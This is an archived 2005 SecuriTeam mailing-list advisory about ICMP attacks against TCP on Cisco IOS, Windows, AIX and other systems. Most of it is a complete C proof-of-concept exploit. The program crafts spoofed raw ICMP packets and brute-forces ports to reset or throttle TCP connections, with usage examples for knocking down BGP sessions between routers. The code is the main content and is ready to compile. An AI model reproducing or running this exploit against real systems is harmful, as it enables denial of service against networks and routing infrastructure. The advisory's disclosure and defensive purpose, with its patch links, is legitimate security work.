[EXPL] ICMP Attacks Against TCP Vulnerability Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 04/21/05

  • Next message: SecuriTeam: "[UNIX] Jaws Cross Site Scripting (GlossaryModel.php)"
    To: list@securiteam.com
    Date: 21 Apr 2005 15:19:10 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      ICMP Attacks Against TCP Vulnerability Exploit
    ------------------------------------------------------------------------

    SUMMARY

    Attackers can send a specially crafted Internet Control Message Protocol
    (ICMP) message that will cause a denial of service for the affected
    systems. An attacker who successfully exploited this vulnerability could
    cause the affected system to reset existing TCP connections, reduce the
    throughput in existing TCP connections, or consume large amounts of CPU
    and memory resources.

    DETAILS

    Vulnerable Systems:
     * Cisco Content Services Switch 11000 Series (WebNS)
     * Cisco Global Site Selector (GSS) 4480 1.x
     * Cisco IOS 10.x
     * Cisco IOS 11.x
     * Cisco IOS 12.x
     * Cisco IOS R11.x
     * Cisco IOS R12.x
     * Cisco IOS XR (CRS-1) 3.x
     * Cisco ONS 15000 Series
     * Cisco PIX 6.x
     * Cisco SAN-OS 1.x (MDS 9000 Switches)
     * AIX 5.x
     * Windows Server 2003
     * Windows XP SP2
     * Windows XP SP1
     * Windows 2000 SP4
     * Windows 2000 SP3

    Exploit:
    /* HOD-icmp-attacks-poc.c: 2005-04-15: PUBLIC v.0.2
     *
     * Copyright (c) 2004-2005 houseofdabus.
     *
     * (MS05-019) (CISCO:20050412)
     * ICMP attacks against TCP (Proof-of-Concept)
     *
     *
     *
     * .::[ houseofdabus ]::.
     *
     *
     *
     * [ for more details:
     * [ http://www.livejournal.com/users/houseofdabus
     * ---------------------------------------------------------------------
     * Systems Affected:
     * - Cisco Content Services Switch 11000 Series (WebNS)
     * - Cisco Global Site Selector (GSS) 4480 1.x
     * - Cisco IOS 10.x
     * - Cisco IOS 11.x
     * - Cisco IOS 12.x
     * - Cisco IOS R11.x
     * - Cisco IOS R12.x
     * - Cisco IOS XR (CRS-1) 3.x
     * - Cisco ONS 15000 Series
     * - Cisco PIX 6.x
     * - Cisco SAN-OS 1.x (MDS 9000 Switches)
     * - AIX 5.x
     * - Windows Server 2003
     * - Windows XP SP2
     * - Windows XP SP1
     * - Windows 2000 SP4
     * - Windows 2000 SP3
     * ...
     *
     * ---------------------------------------------------------------------
     * Description:
     * A denial of service vulnerability exists that could allow an
     * attacker to send a specially crafted Internet Control Message
     * Protocol (ICMP) message to an affected system. An attacker who
     * successfully exploited this vulnerability could cause the affected
     * system to reset existing TCP connections, reduce the throughput
     * in existing TCP connections, or consume large amounts of CPU and
     * memory resources.
     * (CAN-2004-0790, CAN-2004-0791, CAN-2004-1060)
     *
     * ---------------------------------------------------------------------
     * Solution:
     * http://www.microsoft.com/technet/security/Bulletin/MS05-019.mspx
     * http://www.cisco.com/warp/public/707/cisco-sa-20050412-icmp.shtml
     *
     * Other References:
     * http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html
     * http://www.kb.cert.org/vuls/id/222750
     *
     * ---------------------------------------------------------------------
     * Tested on:
     * - Windows Server 2003
     * - Windows XP SP1
     * - Windows 2000 SP4
     * - Cisco IOS 11.x
     *
     * ---------------------------------------------------------------------
     * Compile:
     *
     * Win32/VC++ : cl -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
     * Win32/cygwin: gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
     * Linux : gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
     *
     * ---------------------------------------------------------------------
     * Examples:
     *
     * client <---> router <---> router <---> server
     *
     * CLIENT <---> SERVER
     *
     * HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:1
     * (abort the connection)
     *
     * HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:2
     * (slow down the transmission rate for traffic)
     *
     *
     * ROUTER1 <---> ROUTER2
     *
     * HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:179 -a:1
     * (DoS Cisco BGP Connections)
     *
     * HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:80 -a:2
     * (slow down the transmission rate for traffic)
     *
     * ---------------------------------------------------------------------
     *
     * This is provided as proof-of-concept code only for educational
     * purposes and testing by authorized individuals with permission
     * to do so.
     *
     */

    /* #define _WIN32 */

    #ifdef _WIN32
    #pragma comment(lib,"ws2_32")
    #pragma pack(1)
    #define WIN32_LEAN_AND_MEAN
    #include <winsock2.h>
    /* IP_HDRINCL */
    #include <ws2tcpip.h>

    #else
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <sys/timeb.h>
    #endif

    #include <string.h>
    #include <stdio.h>
    #include <stdlib.h>

    #define MAX_PACKET 4096

    #define DEFAULT_PORT 80
    #define DEFAULT_IP "192.168.0.1"
    #define DEFAULT_COUNT 1

    /* Define the IP header */
    typedef struct ip_hdr {
            unsigned char ip_verlen; /* IP version & length */
            unsigned char ip_tos; /* IP type of service */
            unsigned short ip_totallength; /* Total length */
            unsigned short ip_id; /* Unique identifier */
            unsigned short ip_offset; /* Fragment offset field */
            unsigned char ip_ttl; /* Time to live */
            unsigned char ip_protocol; /* Protocol */
            unsigned short ip_checksum; /* IP checksum */
            unsigned int ip_srcaddr; /* Source address */
            unsigned int ip_destaddr; /* Destination address */
    } IP_HDR, *PIP_HDR;

    /* Define the ICMP header */
    /* Destination Unreachable Message */
    typedef struct icmp_hdr {
            unsigned char type; /* Type */
            unsigned char code; /* Code */
            unsigned short checksum; /* Checksum */
            unsigned long unused; /* Unused */
    } ICMP_HDR, *PICMP_HDR;

    /* 64 bits of Original Data Datagram (TCP header) */
    char msg[] =
    "\x00\x50" /* Source port */
    "\x00\x50" /* Destination port */
    "\x23\x48\x4f\x44";

    /* globals */
    unsigned long dwToIP, /* IP to send to */
                    dwFromIP; /* IP to send from (spoof) */
    unsigned short iToPort, /* Port to send to */
                    iFromPort; /* Port to send from (spoof) */
    unsigned long dwCount; /* Number of times to send */
    unsigned long Attack;

    void
    usage(char *progname) {
            printf("Usage:\n\n");
            printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> <-fi:SRC-PORT> [-tp:int]
    [-a:int] [-n:int]\n\n", progname);
            printf(" -fi:IP From (sender) IP address\n");
            printf(" -ti:IP To (target) IP address\n");
            printf(" -fp:int Target open TCP port number\n");
            printf(" (for example - 21, 25, 80)\n");
            printf(" -tp:int Inicial value for bruteforce (sender) TCP port
    number\n");
            printf(" (default: 0 = range of ports 0-65535)\n");
            printf(" -n:int Number of packets\n\n");
            printf(" -a:int ICMP attacks:\n");
            printf(" 1 - Blind connection-reset attack\n");
            printf(" (ICMP protocol unreachable)\n");
            printf(" 2 - Path MTU discovery attack\n");
            printf(" (slow down the transmission rate)\n");
            printf(" 3 - ICMP Source Quench attack\n");
            exit(1);
    }

    void
    ValidateArgs(int argc, char **argv)
    {
            int i;

            iToPort = 0;
            iFromPort = DEFAULT_PORT;
            dwToIP = inet_addr(DEFAULT_IP);
            dwFromIP = inet_addr(DEFAULT_IP);
            dwCount = DEFAULT_COUNT;
            Attack = 1;

            for (i = 1; i < argc; i++) {
                    if ((argv[i][0] == '-') || (argv[i][0] == '/')) {
                            switch (tolower(argv[i][1])) {
                                    case 'f':
                                            switch (tolower(argv[i][2])) {
                                                    case 'p':
                                                            if
    (strlen(argv[i]) > 4)
                                                            iFromPort =
    atoi(&argv[i][4]);
                                                            break;
                                                    case 'i':
                                                            if
    (strlen(argv[i]) > 4)
                                                            dwFromIP =
    inet_addr(&argv[i][4]);
                                                            break;
                                                    default:
                                                            usage(argv[0]);
                                                            break;
                                            }
                                            break;
                                    case 't':
                                            switch (tolower(argv[i][2])) {
                                                    case 'p':
                                                            if
    (strlen(argv[i]) > 4)
                                                            iToPort =
    atoi(&argv[i][4]);
                                                            break;
                                                    case 'i':
                                                            if
    (strlen(argv[i]) > 4)
                                                            dwToIP =
    inet_addr(&argv[i][4]);
                                                            break;
                                                    default:
                                                            usage(argv[0]);
                                                            break;
                                            }
                                            break;
                                    case 'n':
                                            if (strlen(argv[i]) > 3)
                                            dwCount = atol(&argv[i][3]);
                                            break;
                                    case 'a':
                                            if (strlen(argv[i]) > 3)
                                            Attack = atol(&argv[i][3]);
                                            if ((Attack > 3) || (Attack < 1))
                                            usage(argv[0]);
                                            break;
                                    default:
                                            usage(argv[0]);
                                            break;
                            }
                    }
            }
            return;
    }

    /* This function calculates the 16-bit one's complement sum */
    /* for the supplied buffer */
    unsigned short
    checksum(unsigned short *buffer, int size)
    {
            unsigned long cksum = 0;

            while (size > 1) {
                    cksum += *buffer++;
                    size -= sizeof(unsigned short);
            }
            if (size) {
                    cksum += *(unsigned char *)buffer;
            }
            cksum = (cksum >> 16) + (cksum & 0xffff);
            cksum += (cksum >>16);

            return (unsigned short)(~cksum);
    }

    int
    main(int argc, char **argv)
    {

    #ifdef _WIN32
            WSADATA wsd;
    #endif
            int s;
    #ifdef _WIN32
            BOOL bOpt;
    #else
            int bOpt;
    #endif
            struct sockaddr_in remote;
            IP_HDR ipHdr,
                            ipHdrInc;
            ICMP_HDR icmpHdr;
            int ret;
            unsigned long i, p;
            unsigned short iTotalSize,
                            iIPVersion,
                            iIPSize,
                            p2,
                            cksum = 0;
            char buf[MAX_PACKET],
                            *ptr = NULL;
    #ifdef _WIN32
            IN_ADDR addr;
    #else
            struct sockaddr_in addr;
    #endif

            printf("\n (MS05-019) (CISCO:20050412)\n");
            printf(" ICMP attacks against TCP (Proof-of-Concept)\n\n");
            printf(" Copyright (c) 2004-2005 .: houseofdabus :.\n\n\n");

            if (argc < 3) usage(argv[0]);

            /* Parse command line arguments and print them out */
            ValidateArgs(argc, argv);
    #ifdef _WIN32
            addr.S_un.S_addr = dwFromIP;
            printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr),
    iFromPort);
            addr.S_un.S_addr = dwToIP;
            printf("[*] To IP: <%s>, port: %d\n", inet_ntoa(addr), iToPort);
            printf("[*] Count: %d\n", dwCount);
    #else
            addr.sin_addr.s_addr = dwFromIP;
            printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr),
    iFromPort);
            addr.sin_addr.s_addr = dwToIP;
            printf("[*] To IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr),
    iToPort);
            printf("[*] Count: %d\n", dwCount);
    #endif

    #ifdef _WIN32
            if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {
                    printf("[-] WSAStartup() failed: %d\n", GetLastError());
                    return -1;
            }
    #endif
            /* Creating a raw socket */
            s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
    #ifdef _WIN32
            if (s == INVALID_SOCKET) {
    #else
            if (s < 0) {
    #endif
                    printf("[-] socket() failed\n");
                    return -1;
            }

            /* Enable the IP header include option */
    #ifdef _WIN32
            bOpt = TRUE;
    #else
            bOpt = 1;
    #endif
            ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt,
    sizeof(bOpt));
    #ifdef _WIN32
            if (ret == SOCKET_ERROR) {
                    printf("[-] setsockopt(IP_HDRINCL) failed: %d\n",
    WSAGetLastError());
                    return -1;
            }
    #endif

            /* Initalize the IP header */
            iTotalSize = sizeof(ipHdr) + sizeof(icmpHdr) + sizeof(msg)-1 +
    sizeof(ipHdrInc);

            iIPVersion = 4;
            iIPSize = sizeof(ipHdr) / sizeof(unsigned long);

            ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
            ipHdr.ip_tos = 0; /* IP type of service */
                                            /* Total packet len */
            ipHdr.ip_totallength = htons(iTotalSize);
            ipHdr.ip_id = htons(42451); /* Unique identifier */
            ipHdr.ip_offset = 0; /* Fragment offset field */
            ipHdr.ip_ttl = 255; /* Time to live */
            ipHdr.ip_protocol = 0x1; /* Protocol(ICMP) */
            ipHdr.ip_checksum = 0; /* IP checksum */
            ipHdr.ip_srcaddr = dwFromIP; /* Source address */
            ipHdr.ip_destaddr = dwToIP; /* Destination address */

            ipHdrInc.ip_verlen = (iIPVersion << 4) | iIPSize;
            ipHdrInc.ip_tos = 0; /* IP type of service */
                                            /* Total packet len */
            ipHdrInc.ip_totallength = htons(sizeof(ipHdrInc)+20);
            ipHdrInc.ip_id = htons(25068); /* Unique identifier */
            ipHdrInc.ip_offset = 0; /* Fragment offset field */
            ipHdrInc.ip_ttl = 255; /* Time to live */
            ipHdrInc.ip_protocol = 0x6; /* Protocol(TCP) */
            ipHdrInc.ip_checksum = 0; /* IP checksum */
            ipHdrInc.ip_srcaddr = dwToIP; /* Source address */
            ipHdrInc.ip_destaddr = dwFromIP;/* Destination address */

            /* Initalize the ICMP header */
            icmpHdr.checksum = 0;
            if (Attack == 1) {
                    icmpHdr.type = 3; /* Destination Unreachable Message */
                    icmpHdr.code = 2; /* protocol unreachable */
                    icmpHdr.unused = 0;
            } else if (Attack == 2) {
                    icmpHdr.type = 3; /* Destination Unreachable Message */
                    icmpHdr.code = 4; /* fragmentation needed and DF set */
                    icmpHdr.unused = 0x44000000; /* next-hop MTU - 68 */
            } else {
                    icmpHdr.type = 4; /* Source Quench Message */
                    icmpHdr.code = 0;
                    icmpHdr.unused = 0;
            }

            memset(buf, 0, MAX_PACKET);
            ptr = buf;

            memcpy(ptr, &ipHdr, sizeof(ipHdr)); ptr += sizeof(ipHdr);
            memcpy(ptr, &icmpHdr, sizeof(icmpHdr)); ptr += sizeof(icmpHdr);
            memcpy(ptr, &ipHdrInc, sizeof(ipHdrInc)); ptr += sizeof(ipHdrInc);
            memcpy(ptr, msg, sizeof(msg)-1);
            iFromPort = htons(iFromPort);
            memcpy(ptr, &iFromPort, 2);

            remote.sin_family = AF_INET;
            remote.sin_port = htons(iToPort);
            remote.sin_addr.s_addr = dwToIP;

            cksum = checksum((unsigned short *)&ipHdrInc, 20);
            memcpy(buf+20+sizeof(icmpHdr)+10, &cksum, 2);

            cksum = checksum((unsigned short *)&ipHdr, 20);
            memcpy(buf+10, &cksum, 2);

            for (p = iToPort; p <= 65535; p++) {
                    p2 = htons((short)p);
                    memcpy((char *)(ptr+2), &p2, 2);
                    buf[22] = 0;
                    buf[23] = 0;
                    cksum = checksum((unsigned short *)(buf+20),
    sizeof(icmpHdr)+28);
                    memcpy(buf+20+2, &cksum, 2);

                    for (i = 0; i < dwCount; i++) {
    #ifdef _WIN32
                            ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR
    *)&remote,
                                    sizeof(remote));
    #else
                            ret = sendto(s, buf, iTotalSize, 0, (struct
    sockaddr *) &remote,
                            sizeof(remote));
    #endif
    #ifdef _WIN32
                            if (ret == SOCKET_ERROR) {
    #else
                            if (ret < 0) {
    #endif
                                    printf("[-] sendto() failed\n");
                                    break;
                            }
                    }
            }

    #ifdef _WIN32
            closesocket(s);
            WSACleanup();
    #endif

            return 0;
    }

    /* EOF */

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:houseofdabus@inbox.ru>
    houseofdabus HOD.
    The original article can be found at:
    <http://www.livejournal.com/users/houseofdabus/>
    http://www.livejournal.com/users/houseofdabus/

    For more information please see the following links:
    <http://www.securiteam.com/windowsntfocus/5IP0J0UFFM.html>
    http://www.securiteam.com/windowsntfocus/5IP0J0UFFM.html,
     <http://www.cisco.com/warp/public/707/cisco-sa-20050412-icmp.shtml>
    http://www.cisco.com/warp/public/707/cisco-sa-20050412-icmp.shtml,
     <http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html>
    http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html and
    <http://www.kb.cert.org/vuls/id/222750>
    http://www.kb.cert.org/vuls/id/222750

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] Jaws Cross Site Scripting (GlossaryModel.php)"

    Relevant Pages

    • ICMP attacks against TCP (Proof-of-Concept code) (MS05-019, CISCO:20050412)
      ... * - Cisco IOS 10.x ... * - Windows XP SP2 ... * system to reset existing TCP connections, ...
      (Bugtraq)
    • [EXPL] MyServer DoS (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... #if WINDOWS ... int main{ ...
      (Securiteam)
    • [NEWS] Cisco IOS XR MPLS Multiple DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Cisco IOS XR MPLS Multiple DoS ... Improper packet handling allows attackers to DoS Cisco IOS XR MPLS. ... MPLS packets will be forwarded through the MPLS network. ...
      (Securiteam)
    • [EXPL] Multiple Cisco Exploit Codes
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... * Cisco 677/678 Telnet Buffer Overflow Vulnerability ... * Cisco IOS Router Denial of Service Vulnerability ... if ($expvuln eq "1") { ...
      (Securiteam)
    • [NEWS] Cisco IOS Heap-based Overflow Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The Cisco Internetwork Operating System may permit arbitrary code ... Cisco IOS may be susceptible to remote code execution through attack ...
      (Securiteam)